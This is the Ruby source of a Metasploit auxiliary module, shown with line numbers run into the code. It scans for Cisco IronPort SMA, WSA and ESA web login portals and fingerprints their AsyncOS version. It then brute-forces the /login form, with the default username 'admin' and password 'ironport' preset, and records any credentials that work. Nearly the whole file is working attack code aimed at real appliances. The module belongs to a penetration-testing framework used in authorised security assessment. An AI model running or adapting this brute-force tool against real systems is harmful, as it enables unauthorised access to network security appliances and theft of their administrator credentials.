Path: blob/master/modules/auxiliary/scanner/http/cisco_ironport_enum.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report8include Msf::Auxiliary::AuthBrute9include Msf::Auxiliary::Scanner1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Cisco Ironport Bruteforce Login Utility',16'Description' => %q{17This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS18versions, and performs login brute force to identify valid credentials.19},20'Author' => [21'Karn Ganeshen <KarnGaneshen[at]gmail.com>',22],23'License' => MSF_LICENSE,24'DefaultOptions' => { 'SSL' => true },25'Notes' => {26'Reliability' => UNKNOWN_RELIABILITY,27'Stability' => UNKNOWN_STABILITY,28'SideEffects' => UNKNOWN_SIDE_EFFECTS29}30)31)3233register_options(34[35Opt::RPORT(443),36OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]),37OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"])38]39)40end4142def run_host(ip)43unless check_conn?44print_error("#{rhost}:#{rport} - Connection failed, Aborting...")45return46end4748unless is_app_ironport?49print_error("#{rhost}:#{rport} - Application does not appear to be Cisco Ironport. Module will not continue.")50return51end5253print_status("#{rhost}:#{rport} - Starting login brute force...")54each_user_pass do |user, pass|55do_login(user, pass)56end57end5859def check_conn?60begin61res = send_request_cgi(62{63'uri' => '/',64'method' => 'GET'65}66)67if res68print_good("#{rhost}:#{rport} - Server is responsive...")69return true70end71rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE72end73false74end7576#77# What's the point of running this module if the app actually isn't Cisco IronPort78#7980def is_app_ironport?81res = send_request_cgi(82{83'uri' => '/',84'method' => 'GET'85}86)8788if res && res.get_cookies8990cookie = res.get_cookies9192res = send_request_cgi(93{94'uri' => "/help/wwhelp/wwhimpl/common/html/default.htm",95'method' => 'GET',96'cookie' => cookie97}98)99100if (res and res.code == 200 and res.body.include?('Cisco IronPort AsyncOS'))101version_key = /Cisco IronPort AsyncOS (.+? )/102version = res.body.scan(version_key).flatten[0].gsub('"', '')103product_key = /for (.*)</104product = res.body.scan(product_key).flatten[0]105106if (product == 'Security Management Appliances')107p_name = 'Cisco IronPort Security Management Appliance (SMA)'108print_good("#{rhost}:#{rport} - Running Cisco IronPort #{product} (SMA) - AsyncOS v#{version}")109elsif (product == 'Cisco IronPort Web Security Appliances')110p_name = 'Cisco IronPort Web Security Appliance (WSA)'111print_good("#{rhost}:#{rport} - Running #{product} (WSA) - AsyncOS v#{version}")112elsif (product == 'Cisco IronPort Appliances')113p_name = 'Cisco IronPort Email Security Appliance (ESA)'114print_good("#{rhost}:#{rport} - Running #{product} (ESA) - AsyncOS v#{version}")115end116117return true118else119return false120end121else122return false123end124end125126def service_details127super.merge({ service_name: 'Cisco IronPort Appliance' })128end129130#131# Brute-force the login page132#133134def do_login(user, pass)135vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")136begin137res = send_request_cgi(138{139'uri' => '/login',140'method' => 'POST',141'vars_post' =>142{143'action' => 'Login',144'referrer' => '',145'screen' => 'login',146'username' => user,147'password' => pass148}149}150)151152if res and res.get_cookies.include?('authenticated=')153print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")154155store_valid_credential(user: user, private: pass, proof: res.get_cookies.inspect)156return :next_user157158else159vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")160end161rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE162print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")163return :abort164end165end166end167168169